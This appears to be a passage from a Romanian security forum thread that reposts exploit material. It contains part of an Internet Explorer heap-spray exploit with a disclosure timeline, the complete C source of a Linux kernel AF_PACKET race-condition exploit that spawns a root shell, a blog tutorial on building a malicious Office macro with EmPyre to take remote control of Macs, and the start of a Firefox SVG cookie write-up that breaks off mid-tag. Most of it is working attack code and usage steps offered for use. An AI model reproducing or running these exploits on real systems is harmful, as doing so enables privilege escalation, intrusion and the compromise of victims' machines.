AV at an address // that indicates where the pointer came from. Does not overwrite addresses // at which data is already stored. for (var u­Offset = 0; u­Offset < 0x40; u­Offset += 4) { if (!((p­Address + u­Offset) in d­Spray_­dw­Value_­p­Address)) { d­Spray_­dw­Value_­p­Address[p­Address + u­Offset] = bad(((p­Address & 0x­FFF) << 16) + u­Offset); } } } var gu­Spray­Block­Size = 0x02000000; // how much fragmentation do you want? var gu­Spray­Page­Size = 0x00001000; // block alignment. // Different versions of MSIE have different heap header sizes: var s­JSVersion; try{ /*@cc_­on @*/ s­JSVersion = eval("@_jscript_­version"); } catch(e) { s­JSVersion = "unknown" }; var gu­Heap­Header­Size = { "5.8": 0x24, "9": 0x10, // MSIE9 "unknown": 0x10 }[s­JSVersion]; // includes BSTR length var gu­Heap­Footer­Size = 0x04; if (!gu­Heap­Header­Size) throw new Error("Unknown script version " + s­JSVersion); function create­Spray­Block(d­Spray_­dw­Value_­p­Address) { // Create a spray "page" and store spray data at the right offset. var s­Spray­Page = "\u­DEAD".repeat(gu­Spray­Page­Size >> 1); for (var p­Address in d­Spray_­dw­Value_­p­Address) { s­Spray­Page = s­Spray­Page.replace­DWord(p­Address % gu­Spray­Page­Size, d­Spray_­dw­Value_­p­Address[p­Address]); } // Create a spray "block" by concatinated copies of the spray "page", taking into account the header and footer // used by MSIE for larger heap allocations. var u­Spray­Pages­Per­Block = Math.ceil(gu­Spray­Block­Size / gu­Spray­Page­Size); var s­Spray­Block = ( s­Spray­Page.substr(gu­Heap­Header­Size >> 1) + s­Spray­Page.repeat(u­Spray­Pages­Per­Block - 2) + s­Spray­Page.substr(0, s­Spray­Page.length - (gu­Heap­Footer­Size >> 1)) ); var u­Actual­Spray­Block­Size = gu­Heap­Header­Size + s­Spray­Block.length * 2 + gu­Heap­Footer­Size; if (u­Actual­Spray­Block­Size != gu­Spray­Block­Size) throw new Error("Assertion failed: spray block (" + u­Actual­Spray­Block­Size.to­String(16) + ") should be " + gu­Spray­Block­Size.to­String(16) + "."); console.log("create­Spray­Block():"); console.log(" s­Spray­Page.length: " + s­Spray­Page.length.to­String(16)); console.log(" u­Spray­Pages­Per­Block: " + u­Spray­Pages­Per­Block.to­String(16)); console.log(" s­Spray­Block.length: " + s­Spray­Block.length.to­String(16)); return s­Spray­Block; } function get­Heap­Block­Index­For­Address(p­Address) { return ((p­Address % gu­Spray­Page­Size) - gu­Heap­Header­Size) >> 1; } function get­Spray­Block­Count(d­Spray_­dw­Value_­p­Address, p­Start­Address) { p­Start­Address = p­Start­Address || 0; var p­Target­Address = 0x0; for (var p­Address in d­Spray_­dw­Value_­p­Address) { p­Target­Address = Math.max(p­Target­Address, p­Address); } u­Spray­Blocks­Count = Math.ceil((p­Target­Address - p­Start­Address) / gu­Spray­Block­Size); console.log("get­Spray­Block­Count():"); console.log(" p­Target­Address: " + p­Target­Address.to­String(16)); console.log(" u­Spray­Blocks­Count: " + u­Spray­Blocks­Count.to­String(16)); return u­Spray­Blocks­Count; } function spray­Heap(d­Spray_­dw­Value_­p­Address, p­Start­Address) { var u­Spray­Blocks­Count = get­Spray­Block­Count(d­Spray_­dw­Value_­p­Address, p­Start­Address); // Spray the heap by making copies of the spray "block". var as­Spray = new Array(u­Spray­Blocks­Count); as­Spray[0] = create­Spray­Block(d­Spray_­dw­Value_­p­Address); for (var u­Index = 1; u­Index < as­Spray.length; u­Index++) { as­Spray[u­Index] = as­Spray[0].clone(); } return as­Spray; } Time-line 13 October 2012: This vulnerability was found through fuzzing. 29 October 2012: This vulnerability was submitted to EIP. 18 November 2012: This vulnerability was submitted to ZDI. 27 November 2012: EIP declines to acquire this vulnerability because they believe it to be a copy of another vulnerability they already acquired. 7 December 2012: ZDI declines to acquire this vulnerability because they believe it not to be exploitable. During the initial report detailed above, I did not have a working exploit to prove exploitability. I also expected the bug to be fixed soon, seeing how EIP believed they already reported it to Microsoft. However, about two years later, I decided to look at the issue again and found it had not yet been fixed. Apparently it was not the same issue that EIP reported to Microsoft. So, I decided to try to have another look and developed a Proof-of-Concept exploit. April 2014: I start working on this case again, and eventually develop a working Proof-of-Concept exploit. 6 November 2014: ZDI was informed of the new analysis and reopens the case. 15 November 2014: This vulnerability was submitted to i­Defense. 16 November 2014: i­Defense responds to my report email in plain text, potentially exposing the full vulnerability details to world+dog. 17 November 2014: ZDI declines to acquire this vulnerability after being informed of the potential information leak. 11 December 2012: This vulnerability was acquired by i­Defense. The accidentally potential disclosure of vulnerability details by i­Defense was of course a bit of a disappointment. They reported that they have since updated their email system to automatically encrypt emails, which should prevent this from happening again. 9 June 2015: Microsoft addresses this vulnerability in MS15-056. 6 December 2016: Details of this vulnerability are released. --> Sursa: https://www.exploit-db.com/exploits/40881/

Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation /* chocobo_root.c linux AF_PACKET race condition exploit exploit for Ubuntu 16.04 x86_64 vroom vroom *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= user@ubuntu:~$ uname -a Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux user@ubuntu:~$ id uid=1000(user) gid=1000(user) groups=1000(user) user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread user@ubuntu:~$ ./chocobo_root linux AF_PACKET race condition exploit by rebel kernel version: 4.4.0-51-generic #72 proc_dostring = 0xffffffff81088090 modprobe_path = 0xffffffff81e48f80 register_sysctl_table = 0xffffffff812879a0 set_memory_rw = 0xffffffff8106f320 exploit starting making vsyscall page writable.. new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 174222, last val = 2) current packet version = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 *=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=* please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... vsyscall page altered! stage 1 completed registering new sysctl.. new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 30773, last val = 0) current packet version = 2 pbd->hdr.bh1.offset_to_first_pkt = 48 race not won retrying stage.. new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 133577, last val = 2) current packet version = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 *=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=* please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... sysctl added! stage 2 completed binary executed by kernel, launching rootshell root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root),1000(user) *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= There are offsets included for older kernels, but they're untested so be aware that this exploit will probably crash kernels older than 4.4. tested on: Ubuntu 16.04: 4.4.0-51-generic Ubuntu 16.04: 4.4.0-47-generic Ubuntu 16.04: 4.4.0-36-generic Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu Shoutouts to: jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI) mcdelivery for delivering hotcakes and coffee 11/2016 by rebel */ #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <sys/wait.h> #include <assert.h> #include <errno.h> #include <fcntl.h> #include <poll.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/if_ether.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/stat.h> #include <linux/if_packet.h> #include <pthread.h> #include <linux/sched.h> #include <netinet/tcp.h> #include <sys/syscall.h> #include <signal.h> #include <sched.h> #include <sys/utsname.h> volatile int barrier = 1; volatile int vers_switcher_done = 0; struct offset { char *kernel_version; unsigned long proc_dostring; unsigned long modprobe_path; unsigned long register_sysctl_table; unsigned long set_memory_rw; }; struct offset *off = NULL; //99% of these offsets haven't actually been tested :) struct offset offsets[] = { {"4.4.0-46-generic #67~14.04.1",0xffffffff810842f0,0xffffffff81e4b100,0xffffffff81274580,0xffffffff8106b880}, {"4.4.0-47-generic #68~14.04.1",0,0,0,0}, {"4.2.0-41-generic #48",0xffffffff81083470,0xffffffff81e48920,0xffffffff812775c0,0xffffffff8106c680}, {"4.8.0-22-generic #24",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b34b0,0xffffffff8106f0d0}, {"4.2.0-34-generic #39",0xffffffff81082080,0xffffffff81c487e0,0xffffffff81274490,0xffffffff8106b5d0}, {"4.2.0-30-generic #36",0xffffffff810820d0,0xffffffff81c487e0,0xffffffff812744e0,0xffffffff8106b620}, {"4.2.0-16-generic #19",0xffffffff81081ac0,0xffffffff81c48680,0xffffffff812738f0,0xffffffff8106b110}, {"4.2.0-17-generic #21",0,0,0,0}, {"4.2.0-18-generic #22",0,0,0,0}, {"4.2.0-19-generic #23~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125de30,0xffffffff81067750}, {"4.2.0-21-generic #25~14.04.1",0,0,0,0}, {"4.2.0-30-generic #36~14.04.1",0xffffffff8107da40,0xffffffff81c4a8e0,0xffffffff8125dd40,0xffffffff81067b20}, {"4.2.0-27-generic #32~14.04.1",0xffffffff8107dbe0,0xffffffff81c498c0,0xffffffff8125e420,0xffffffff81067c60}, {"4.2.0-36-generic #42",0xffffffff81083430,0xffffffff81e488e0,0xffffffff81277380,0xffffffff8106c680}, {"4.4.0-22-generic #40",0xffffffff81087d40,0xffffffff81e48f00,0xffffffff812864d0,0xffffffff8106f370}, {"4.2.0-18-generic #22~14.04.1",0xffffffff8107d620,0xffffffff81c49780,0xffffffff8125dd10,0xffffffff81067760}, {"4.4.0-34-generic #53",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286ed0,0xffffffff8106f370}, {"4.2.0-22-generic #27",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273b20,0xffffffff8106b100}, {"4.2.0-23-generic #28",0,0,0,0}, {"4.2.0-25-generic #30",0,0,0,0}, {"4.4.0-36-generic #55",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e50,0xffffffff8106f360}, {"4.2.0-42-generic #49",0xffffffff81083490,0xffffffff81e489a0,0xffffffff81277870,0xffffffff8106c680}, {"4.4.0-31-generic #50",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e90,0xffffffff8106f370}, {"4.4.0-22-generic #40~14.04.1",0xffffffff81084250,0xffffffff81c4b080,0xffffffff81273de0,0xffffffff8106b9d0}, {"4.2.0-38-generic #45",0xffffffff810833d0,0xffffffff81e488e0,0xffffffff81277410,0xffffffff8106c680}, {"4.4.0-45-generic #66",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874c0,0xffffffff8106f320}, {"4.2.0-36-generic #42~14.04.1",0xffffffff8107ffd0,0xffffffff81c499e0,0xffffffff81261ea0,0xffffffff81069d00}, {"4.4.0-45-generic #66~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274340,0xffffffff8106b880}, {"4.2.0-22-generic #27~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125deb0,0xffffffff81067750}, {"4.2.0-25-generic #30~14.04.1",0,0,0,0}, {"4.2.0-23-generic #28~14.04.1",0,0,0,0}, {"4.4.0-46-generic #67",0xffffffff81088040,0xffffffff81e48f80,0xffffffff81287800,0xffffffff8106f320}, {"4.4.0-47-generic #68",0,0,0,0}, {"4.4.0-34-generic #53~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c40,0xffffffff8106b880}, {"4.4.0-36-generic #55~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c60,0xffffffff8106b890}, {"4.4.0-31-generic #50~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c20,0xffffffff8106b880}, {"4.2.0-38-generic #45~14.04.1",0xffffffff8107fdc0,0xffffffff81c4a9e0,0xffffffff81261540,0xffffffff81069bf0}, {"4.2.0-35-generic #40",0xffffffff81083430,0xffffffff81e48860,0xffffffff81277240,0xffffffff8106c680}, {"4.4.0-24-generic #43~14.04.1",0xffffffff81084120,0xffffffff81c4b080,0xffffffff812736f0,0xffffffff8106b880}, {"4.4.0-21-generic #37",0xffffffff81087cf0,0xffffffff81e48e80,0xffffffff81286310,0xffffffff8106f370}, {"4.2.0-34-generic #39~14.04.1",0xffffffff8107dc50,0xffffffff81c498e0,0xffffffff8125e830,0xffffffff81067c90}, {"4.4.0-24-generic #43",0xffffffff81087e60,0xffffffff81e48f00,0xffffffff812868f0,0xffffffff8106f370}, {"4.4.0-21-generic #37~14.04.1",0xffffffff81084220,0xffffffff81c4b000,0xffffffff81273a30,0xffffffff8106b9d0}, {"4.2.0-41-generic #48~14.04.1",0xffffffff8107fe20,0xffffffff81c4aa20,0xffffffff812616c0,0xffffffff81069bf0}, {"4.8.0-27-generic #29",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b3490,0xffffffff8106f0d0}, {"4.8.0-26-generic #28",0,0,0,0}, {"4.4.0-38-generic #57",0xffffffff81087f70,0xffffffff81e48f80,0xffffffff81287470,0xffffffff8106f360}, {"4.4.0-42-generic #62~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274300,0xffffffff8106b880}, {"4.4.0-38-generic #57~14.04.1",0xffffffff81084210,0xffffffff81e4b100,0xffffffff812742e0,0xffffffff8106b890}, {"4.4.0-49-generic #70",0xffffffff81088090,0xffffffff81e48f80,0xffffffff81287d40,0xffffffff8106f320}, {"4.4.0-49-generic #70~14.04.1",0xffffffff81084350,0xffffffff81e4b100,0xffffffff81274b10,0xffffffff8106b880}, {"4.2.0-21-generic #25",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273aa0,0xffffffff8106b100}, {"4.2.0-19-generic #23",0,0,0,0}, {"4.2.0-42-generic #49~14.04.1",0xffffffff8107fe20,0xffffffff81c4aaa0,0xffffffff81261980,0xffffffff81069bf0}, {"4.4.0-43-generic #63",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874b0,0xffffffff8106f320}, {"4.4.0-28-generic #47",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286df0,0xffffffff8106f370}, {"4.4.0-28-generic #47~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273b70,0xffffffff8106b880}, {"4.9.0-1-generic #2",0xffffffff8108bbe0,0xffffffff81e4ac20,0xffffffff812b8400,0xffffffff8106f390}, {"4.8.0-28-generic #30",0xffffffff8108ae10,0xffffffff81e48b80,0xffffffff812b3690,0xffffffff8106f0e0}, {"4.2.0-35-generic #40~14.04.1",0xffffffff8107fff0,0xffffffff81c49960,0xffffffff81262320,0xffffffff81069d20}, {"4.2.0-27-generic #32",0xffffffff810820c0,0xffffffff81c487c0,0xffffffff81274150,0xffffffff8106b620}, {"4.4.0-42-generic #62",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874a0,0xffffffff8106f320}, {"4.4.0-51-generic #72",0xffffffff81088090,0xffffffff81e48f80,0xffffffff812879a0,0xffffffff8106f320}, //{"4.8.6-300.fc25.x86_64 #1 SMP Tue Nov 1 12:36:38 UTC 2016",0xffffffff9f0a8b30,0xffffffff9fe40940,0xffffffff9f2cfbf0,0xffffffff9f0663b0}, {NULL,0,0,0,0} }; #define VSYSCALL 0xffffffffff600000 #define PAD 64 int pad_fds[PAD]; struct ctl_table { const char *procname; void *data; int maxlen; unsigned short mode; struct ctl_table *child; void *proc_handler; void *poll; void *extra1; void *extra2; }; #define CONF_RING_FRAMES 1 struct tpacket_req3 tp; int sfd; int mapped = 0; struct timer_list { void *next; void *prev; unsigned long expires; void (*function)(unsigned long); unsigned long data; unsigned int flags; int slack; }; void *setsockopt_thread(void *arg) { while(barrier) { } setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp)); return NULL; } void *vers_switcher(void *arg) { int val,x,y; while(barrier) {} while(1) { val = TPACKET_V1; x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val)); y++; if(x != 0) break; val = TPACKET_V3; x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val)); if(x != 0) break; y++; } fprintf(stderr,"version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val); vers_switcher_done = 1; return NULL; } #define BUFSIZE 1408 char exploitbuf[BUFSIZE]; void kmalloc(void) { while(1) syscall(__NR_add_key, "user","wtf",exploitbuf,BUFSIZE-24,-2); } void pad_kmalloc(void) { int x; for(x=0; x<PAD; x++) if(socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP)) == -1) { fprintf(stderr,"pad_kmalloc() socket error\n"); exit(1); } } int try_exploit(unsigned long func, unsigned long arg, void *verification_func) { pthread_t setsockopt_thread_thread,a; int val; socklen_t l; struct timer_list *timer; int fd; struct tpacket_block_desc *pbd; int off; sigset_t set; sigemptyset(&set); sigaddset(&set, SIGSEGV); if(pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) { fprintf(stderr,"couldn't set sigmask\n"); exit(1); } fprintf(stderr,"new exploit attempt starting, jumping to %p, arg=%p\n",(void *)func,(void *)arg); pad_kmalloc(); fd=socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP)); if (fd==-1) { printf("target socket error\n"); exit(1); } pad_kmalloc(); fprintf(stderr,"sockets allocated\n"); val = TPACKET_V3; setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val)); tp.tp_block_size = CONF_RING_FRAMES * getpagesize(); tp.tp_block_nr = 1; tp.tp_frame_size = getpagesize(); tp.tp_frame_nr = CONF_RING_FRAMES; //try to set the timeout to 10 seconds //the default timeout might still be used though depending on when the race was won tp.tp_retire_blk_tov = 10000; sfd = fd; if(pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) { fprintf(stderr, "Error creating thread\n"); return 1; } pthread_create(&a, NULL, vers_switcher, (void *)NULL); usleep(200000); fprintf(stderr,"removing barrier and spraying..\n"); memset(exploitbuf,'\x00',BUFSIZE); timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8); timer->next = 0; timer->prev = 0; timer->expires = 4294943360; timer->function = (void *)func; timer->data = arg; timer->flags = 1; timer->slack = -1; barrier = 0; usleep(100000); while(!vers_switcher_done)usleep(100000); l = sizeof(val); getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l); fprintf(stderr,"current packet version = %d\n",val); pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0); if(pbd == MAP_FAILED) { fprintf(stderr,"could not map pbd\n"); exit(1); } else { off = pbd->hdr.bh1.offset_to_first_pkt; fprintf(stderr,"pbd->hdr.bh1.offset_to_first_pkt = %d\n",off); } if(val == TPACKET_V1 && off != 0) { fprintf(stderr,"*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n"); } else { fprintf(stderr,"race not won\n"); exit(2); } munmap(pbd, tp.tp_block_size * tp.tp_block_nr); pthread_create(&a, NULL, verification_func, (void *)NULL); fprintf(stderr,"please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.\n"); sleep(1); fprintf(stderr,"closing socket and verifying.."); close(sfd); kmalloc(); fprintf(stderr,"all messages sent\n"); sleep(31337); exit(1); } int verification_result = 0; void catch_sigsegv(int sig) { verification_result = 0; pthread_exit((void *)1); } void *modify_vsyscall(void *arg) { unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850); unsigned long x = (unsigned long)arg; sigset_t set; sigemptyset(&set); sigaddset(&set, SIGSEGV); if(pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) { fprintf(stderr,"couldn't set sigmask\n"); exit(1); } signal(SIGSEGV, catch_sigsegv); *vsyscall = 0xdeadbeef+x; if(*vsyscall == 0xdeadbeef+x) { fprintf(stderr,"\nvsyscall page altered!\n"); verification_result = 1; pthread_exit(0); } return NULL; } void verify_stage1(void) { int x; pthread_t v_thread; sleep(5); for(x=0; x<300; x++) { pthread_create(&v_thread, NULL, modify_vsyscall, 0); pthread_join(v_thread, NULL); if(verification_result == 1) { exit(0); } write(2,".",1); sleep(1); } printf("could not modify vsyscall\n"); exit(1); } void verify_stage2(void) { int x; struct stat b; sleep(5); for(x=0; x<300; x++) { if(stat("/proc/sys/hack",&b) == 0) { fprintf(stderr,"\nsysctl added!\n"); exit(0); } write(2,".",1); sleep(1); } printf("could not add sysctl\n"); exit(1); } void exploit(unsigned long func, unsigned long arg, void *verification_func) { int status; int pid; retry: pid = fork(); if(pid == 0) { try_exploit(func, arg, verification_func); exit(1); } wait(&status); printf("\n"); if(WEXITSTATUS(status) == 2) { printf("retrying stage..\n"); kill(pid, 9); sleep(2); goto retry; } else if(WEXITSTATUS(status) != 0) { printf("something bad happened, aborting exploit attempt\n"); exit(-1); } kill(pid, 9); } void wrapper(void) { struct ctl_table *c; fprintf(stderr,"exploit starting\n"); printf("making vsyscall page writable..\n\n"); exploit(off->set_memory_rw, VSYSCALL, verify_stage1); printf("\nstage 1 completed\n"); sleep(5); printf("registering new sysctl..\n\n"); c = (struct ctl_table *)(VSYSCALL+0x850); memset((char *)(VSYSCALL+0x850), '\x00', 1952); strcpy((char *)(VSYSCALL+0xf00),"hack"); memcpy((char *)(VSYSCALL+0xe00),"\x01\x00\x00\x00",4); c->procname = (char *)(VSYSCALL+0xf00); c->mode = 0666; c->proc_handler = (void *)(off->proc_dostring); c->data = (void *)(off->modprobe_path); c->maxlen=256; c->extra1 = (void *)(VSYSCALL+0xe00); c->extra2 = (void *)(VSYSCALL+0xd00); exploit(off->register_sysctl_table, VSYSCALL+0x850, verify_stage2); printf("stage 2 completed\n"); } void launch_rootshell(void) { int fd; char buf[256]; struct stat s; fd = open("/proc/sys/hack",O_WRONLY); if(fd == -1) { fprintf(stderr,"could not open /proc/sys/hack\n"); exit(-1); } memset(buf,'\x00', 256); readlink("/proc/self/exe",(char *)&buf,256); write(fd,buf,strlen(buf)+1); socket(AF_INET,SOCK_STREAM,132); if(stat(buf,&s) == 0 && s.st_uid == 0) { printf("binary executed by kernel, launching rootshell\n"); lseek(fd, 0, SEEK_SET); write(fd,"/sbin/modprobe",15); close(fd); execl(buf,buf,NULL); } else printf("could not create rootshell\n"); } int main(int argc, char **argv) { int status, pid; struct utsname u; int i, crash = 0; char buf[512], *f; if(argc == 2 && !strcmp(argv[1],"crash")) { crash = 1; } if(getuid() == 0 && geteuid() == 0 && !crash) { chown("/proc/self/exe",0,0); chmod("/proc/self/exe",06755); exit(-1); } else if(getuid() != 0 && geteuid() == 0 && !crash) { setresuid(0,0,0); setresgid(0,0,0); execl("/bin/bash","bash","-p",NULL); exit(0); } fprintf(stderr,"linux AF_PACKET race condition exploit by rebel\n"); uname(&u); if((f = strstr(u.version,"-Ubuntu")) != NULL) *f = '\0'; snprintf(buf,512,"%s %s",u.release,u.version); printf("kernel version: %s\n",buf); for(i=0; offsets[i].kernel_version != NULL; i++) { if(!strcmp(offsets[i].kernel_version,buf)) { while(offsets[i].proc_dostring == 0) i--; off = &offsets[i]; break; } } if(crash) { off = &offsets[0]; off->set_memory_rw = 0xffffffff41414141; } if(off) { printf("proc_dostring = %p\n",(void *)off->proc_dostring); printf("modprobe_path = %p\n",(void *)off->modprobe_path); printf("register_sysctl_table = %p\n",(void *)off->register_sysctl_table); printf("set_memory_rw = %p\n",(void *)off->set_memory_rw); } if(!off) { fprintf(stderr,"i have no offsets for this kernel version..\n"); exit(-1); } pid = fork(); if(pid == 0) { if(unshare(CLONE_NEWUSER) != 0) fprintf(stderr, "failed to create new user namespace\n"); if(unshare(CLONE_NEWNET) != 0) fprintf(stderr, "failed to create new network namespace\n"); wrapper(); exit(0); } waitpid(pid, &status, 0); launch_rootshell(); return 0; } Sursa: https://www.exploit-db.com/exploits/40871/

Ce posturi s-au pierdut?

Pusei ultima versiune, GG!

Da, dar pentru un articol de pe Infosec Institute e relativ OK, desi se complica uneori inutil.

Hacking Mac With EmPyre October 12, 2016 lukeager I am the stereotypical Apple fan boy that other bloggers write about. We have MacBook Pro’s, Air’s, Apple TV’s, iPhone’s and iPad’s and even subscribe to Apple Music. You literally couldn’t find someone who has become more brainwashed by a brand…BUT, I am still not blinded by the security misconceptions which are rife within the world of Mac users. To try and understand just how wide spread these misconceptions were I recently did a poll on a facebook group dedicated to Mac products and asked the following question: Do you think Mac/iMacs need an AntiVirus? The results were staggering and showed that over 90% of participants (There were over 150 participants before the post was removed by an Admin because he wouldn’t entertain any talk of Mac’s having AV) believed that Mac’s do not need an AV. The comments were even more staggering and filled with all kinds of crazy talk from “Mac’s cannot get malware” through to “Malware can only infect your Mac if you enter your admin password” and even went into heated debates debating the differences between Trojans, Viruses and Worms and which impacted Mac users. Of course the bottom line was that almost nobody really understood that the risks are just as real on Mac as they are on Windows, just less common. Mac users get unwanted software, viruses, trojans and can be hacked, and with a little help from Adaptive Threat, we are going to prove it. So, lets have some fun and look at how to hack into Mac OSX hosts using Social Engineering and Malicious Office Documents. Introducing EmPyre edit: I added a new video tutorial to walk through the whole blog below.. EmPyre is a Post Exploitation framework built using Python which offers Ethical Hackers & Baddies(don’t do it) the ability to remotely access OSX hosts. It’s easy to use, has OSX Specific exploits and payloads already built in, and it actually makes for a refreshing change from Metasploit. Visit them on Github to read the nitty gritty about features and support. Installation is easy from another Unix host like Kali which comes with Git installed already. If you are using OSX or another distro, make sure you have Git installed before you begin. I’m using a fresh Kali install. Install EmPyre First, Git Clone from https://github.com/adaptivethreat/EmPyre/ You should now have a folder called EmPyre, and you’ll want to run install.sh to finish the install. That’s it, EmPyre is installed and ready to go, now just change directory in to EmPyre and run ./empyre to launch the interface. Once you do that, EmPyre will load up and you will see the following menu. Create A Listener Before you do anything, type the help command and check out the options you have, i’d suggest spending some time learning what you can do with the tool. For now, we want to start a listener for our victims to connect back too (y’know – the Macs that don’t need AV). Go to the listeners menu…and type options to view the current listener options. This is your equivalent of “show options” within Metasploit. When you hit enter you will see the current settings for the default listener which is called test. You can see the local IP and all the other options which are fine for this guide but you can change anything that suits your objective. Now, if you decide to get a little fruity here, it’s on you, but to change any of these, you’ll want to set one of the fields and change it accordingly. For instance, changing the host is useful if you are wanting to NAT your IP and go out over the internet like some kind of savage. Once you are happy with your options, just hit run , followed by your listener name which you can see in the options. Thats it, we are listening for shells. Now, if you are running this in a lab, just make sure you can reach the target machine and networking is all good. If you are using this against a remote host outside of your LAN, then you should move on to configuring NAT and any rules you need to let the traffic come in. You’re on your own with that. Create The Malicious Document This is not so different to attacking windows machines but you’re gonna have the extra helping hand from EmPyre to make things a little easier. First, we need to create the malicious office macro. You can return to the main menu by entering “main” and then we want to enter “usestager“. You can press tab to list all the available options but we will be using a macro for this attack. Almost there… now, we just need to tell the stager which listener we want it to use which should be easy since we only have 1 created, and then we wrap it up by generating the macro. If all goes to plan, you should see the macro outputted to the screen(unless you set an output location in the options) We want to copy this output into an office document and enter into a macro. Open excel or word and save the document as a macro enabled document. Once you have saved it, head over to tools and create a new macro, name it and then paste the code from your EmPyre host into the Macro. It should look like this. (Note – If you are targeting x64 architecture you will need to edit the first line to begin “Private Declare PtrSafe Function”) Save the document and let the games begin. The next time you open this document you should be prompted to enable macros which of course we will (why wouldn’t we!). Once you hit Enable Macros… Excel will play ball and execute the macro hidden away inside Excel. Over in the attack machine we can see the fruits of our labour with an agent checking in. This can sometimes take a second but no more than around 10-15 seconds. You’re going to want to then begin interacting with your newly infected Mac host. EmPyre calls them agents, so just enter the agents command. Notice the string which begins UKFOM…. this is the unique identifier EmPyre has given the host. In order to interact with that host you just need to type the following, but remember to substitute the identifier for whatever yours is called.(you can rename it) From here, you can start throwing shell code around like some kind of maniac. Try some of the built in modules, there are tons of them and some of them are pretty useful. My personal favourite is troll/osx/say but if you want to list them all, just use tab complete on the end of usemodule Of course, like every other screen you can issue the help command and see all the other options you have. Why not drop into the victims Shell, query the sysinfo or execute python code directly onto the host? And that’s it, now go pop some Macs. But first, lets take a moment to think about the original question. Do Macs need AntiVirus? Malware might not be as prolific on OSX as it is on Windows, but the concept is the same. Attackers can gain access to your machines in almost the same way they do Windows hosts. Some might argue that AV is not effective against targeted attacks, and I would agree, but right now, attacks are becoming more and more sophisticated and with the rise of OSX users, it’s only a matter of time before we see a shift in Apple users becoming bigger targets. Thanks for reading, please subscribe and follow me on Twitter/Instagram/LinkedIn using the links at the top of the page. Sursa: http://www.disinfosec.com/2016/10/12/hacking-mac/ Sursa: http://www.disinfosec.com/2016/10/12/hacking-mac/

Tuesday, December 6, 2016 Firefox - SVG cross domain cookie vulnerability SVG - Setting cookies cross domain via img tag I recently read that browsers allow to use meta tags to set cookies. I am not sure if I just forgot about this feature or never used it before. As I played with SVG in the past I decided to give it a try. The SVG standard does not include the meta tag but it supports the foreignobject tag: The <foreignObject> SVG element allows for inclusion of a foreign XML namespace which has its graphical content drawn by a different user agent. An simple example taken from mdn shows how to use the XHTML namespace inside a SVG file: <foreignObject width="100" height="50" requiredExtensions="http://www.w3.org/1999/xhtml"> <!-- XHTML content goes here --> <body xmlns="http://www.w3.org/1999/xhtml"> <p>Here is a paragraph that requires word wrap</p> </body> </foreignObject> Setting the cookie I adapted the example and pointed the Browser to the following SVG: <svg xmlns='http://www.w3.org/2000/svg'> <circle 